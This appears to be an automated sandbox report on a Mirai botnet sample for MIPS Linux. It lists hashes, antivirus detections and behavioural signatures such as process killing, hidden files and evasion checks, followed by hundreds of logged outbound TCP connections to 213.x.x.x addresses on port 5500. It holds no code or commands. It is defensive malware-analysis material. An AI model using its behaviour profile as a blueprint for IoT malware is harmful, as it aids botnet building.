Linux Analysis Report
RjeN8EvCIF.elf

Overview

General Information

Sample Name: RjeN8EvCIF.elf
Original Sample Name: e1223c93fee4899ffb8bb674fbd073a8.elf
Analysis ID: 1351988
MD5: e1223c93fee4899ffb8bb674fbd073a8
SHA1: eea04176afc266899a402dcf0fd9e19e71746eca
SHA256: 971866de2ff5f565022955a935ed28a84e9d53b2adfc99622f2bb941b1ef5dcc
Tags: 32elfmipsmirai
Infos:

Detection

Mirai
Score: 76
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Yara detected Mirai
Multi AV Scanner detection for submitted file
Sample tries to kill multiple processes (SIGKILL)
Reads CPU information from /sys indicative of miner or evasive malware
Creates hidden files and/or directories
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)
Enumerates processes within the "proc" file system
Detected TCP or UDP traffic on non-standard ports
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: RjeN8EvCIF.elf Avira: detected
Source: RjeN8EvCIF.elf ReversingLabs: Detection: 54%
Source: RjeN8EvCIF.elf Virustotal: Detection: 53% Perma Link
Source: /tmp/RjeN8EvCIF.elf (PID: 5496) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/thread_siblings_list Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5496) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/thread_siblings_list Jump to behavior
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.32.69.220:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.177.119.220:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.141.55.51:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.90.97.188:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.149.97.52:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.76.85.18:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.65.96.54:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.36.60.166:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.230.27.90:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.152.60.218:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.203.54.183:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.169.94.131:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.93.34.89:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.165.183.28:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.12.95.34:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.204.129.35:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.141.161.101:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.19.141.143:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.174.197.96:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.123.56.242:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.177.152.162:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.175.207.0:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.7.0.141:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.148.30.178:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.173.204.224:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.163.120.254:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.98.198.43:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.136.178.23:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.91.85.151:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.92.116.120:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.209.71.132:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.91.136.117:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.53.30.114:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.66.111.218:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.191.39.71:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.139.248.127:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.97.63.123:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.165.204.6:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.45.188.100:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.60.235.157:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.108.199.77:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.79.177.159:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.148.224.6:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.123.242.64:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.130.107.69:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.16.218.90:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.146.112.229:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.182.43.65:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.127.179.96:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.79.150.3:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.140.100.67:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.19.82.115:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.90.233.47:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.81.71.106:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.251.121.38:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.16.30.166:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.116.155.32:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.50.24.148:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.17.28.94:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.110.19.209:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.18.185.105:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.190.181.238:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.67.47.198:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.89.203.193:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.118.28.53:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.12.201.83:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.33.56.56:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.62.139.210:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.66.194.89:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.143.24.53:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.73.41.137:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.217.116.238:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.23.238.143:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.19.52.184:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.236.246.253:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.129.119.60:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.169.97.188:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.212.138.196:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.158.47.131:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.115.160.188:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.190.223.220:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.15.250.123:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.59.239.35:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.226.250.220:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.228.63.105:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.95.195.121:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.242.238.152:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.89.132.102:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.127.71.29:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.31.120.220:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.153.28.101:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.12.162.115:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.73.83.186:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.11.96.74:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.121.27.215:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.16.156.1:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.240.196.88:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.113.97.40:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.187.25.70:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.179.43.206:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.9.74.98:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.54.200.156:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.251.129.231:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.21.240.160:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.176.184.109:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.18.221.139:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.23.4.77:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.100.11.167:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.135.55.143:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.206.96.237:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.231.41.185:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.17.152.205:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.231.59.106:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.16.50.198:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.136.192.45:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.155.182.210:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.90.234.161:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.2.211.63:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.23.101.102:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.67.111.205:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.26.75.151:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.111.200.110:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.146.71.15:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.87.134.247:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.67.19.118:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.91.182.126:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.102.200.156:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.105.28.144:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.233.223.100:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.194.214.141:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.225.26.108:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.179.252.115:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.203.117.61:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.174.249.148:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.5.3.124:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.28.206.100:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.214.5.239:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.129.37.220:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.93.15.208:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.131.98.34:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.237.195.214:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.98.56.26:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.45.160.160:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.169.114.232:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.213.67.30:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.28.123.155:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.90.42.99:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.181.23.14:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.208.211.69:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.130.119.189:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.209.184.69:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.217.122.238:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.255.25.70:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.244.131.166:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.243.75.127:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.46.14.50:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.196.16.58:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.163.0.40:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.223.84.202:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.103.128.244:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.104.237.20:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.178.98.131:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.144.252.58:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.49.247.154:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.50.167.31:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.117.29.53:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.253.145.73:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.70.11.22:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.165.125.134:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.115.255.52:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.50.196.225:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.226.60.80:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.71.28.90:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.200.135.198:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.147.91.183:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.242.147.245:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.180.170.49:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.255.87.252:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.37.86.196:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.31.4.211:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.51.11.228:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.236.136.94:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.71.210.103:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.106.196.108:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.219.57.127:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.221.143.90:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.106.76.216:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.218.176.145:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.45.236.42:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.212.100.49:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.184.210.130:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.77.184.228:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.32.67.102:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.205.1.217:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.0.59.29:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.135.103.95:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.162.151.144:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.41.107.130:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.161.80.82:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.64.121.232:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.128.66.241:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.21.131.180:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.215.113.77:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.78.21.69:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.124.64.207:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.190.173.92:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.159.142.250:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.16.188.89:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.38.119.108:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.231.83.248:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.86.141.1:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.216.105.215:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.165.16.184:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.219.207.85:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.130.112.85:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.135.136.147:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.87.225.102:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.103.244.189:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.225.223.173:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.85.55.119:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.74.154.178:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.155.163.179:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.92.10.228:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.239.170.9:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.79.236.93:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.133.81.230:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.111.67.216:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.249.109.77:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.50.100.172:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.27.108.124:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.28.250.125:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.224.145.246:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.237.184.7:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.154.155.69:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.64.163.70:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.32.2.85:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.174.122.21:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.240.231.23:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.14.211.246:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.145.226.185:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.90.194.45:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.79.69.173:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.227.76.44:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.182.7.161:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.141.89.238:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.185.25.74:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.215.220.244:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.227.152.210:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.85.112.203:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.75.68.247:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.65.26.92:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.153.48.240:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.125.146.190:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.155.213.91:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.91.103.222:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.5.51.109:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.217.65.16:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.244.213.149:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.106.99.131:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.193.30.43:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.220.217.10:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.220.26.14:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.165.91.151:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.68.123.218:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.83.135.34:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.182.144.227:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.159.50.149:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.118.10.4:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.122.60.174:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.131.66.254:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.156.137.134:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.96.169.42:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.191.64.29:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.137.250.113:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.181.51.75:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.119.182.118:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.30.188.45:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.153.47.87:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.199.92.221:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.232.167.0:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.8.110.151:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.239.53.254:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.85.108.113:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.184.28.133:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.121.204.232:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.144.91.50:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.203.68.101:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.95.15.179:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.138.40.189:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.100.125.63:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.180.107.242:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.22.52.142:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.4.155.47:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.37.237.185:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.171.210.232:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.101.69.148:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.195.252.18:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.210.2.143:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.62.83.72:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.154.89.101:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.203.93.208:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.2.207.98:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.123.243.225:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.145.236.152:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.100.182.207:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.179.124.57:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.119.50.100:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.53.184.117:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.90.50.66:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.30.0.123:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.15.123.83:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.46.154.147:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.133.230.189:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.25.29.108:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.231.234.210:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.39.109.243:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.106.8.206:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.94.232.249:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.168.129.212:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.129.252.238:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.199.251.154:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.50.35.184:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.163.218.144:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.140.147.115:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.110.50.40:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.133.112.124:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.38.87.73:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.63.40.84:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.167.50.44:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.62.172.222:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.191.169.184:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.187.228.135:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.147.156.224:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.73.123.180:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.201.152.65:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.41.73.181:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.36.56.118:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.99.222.158:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.36.79.62:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.25.102.215:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.123.150.150:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.140.214.13:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.166.77.193:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.217.65.64:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.249.153.175:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.233.153.215:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.204.51.27:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.197.95.96:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.158.127.185:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.15.244.133:5500
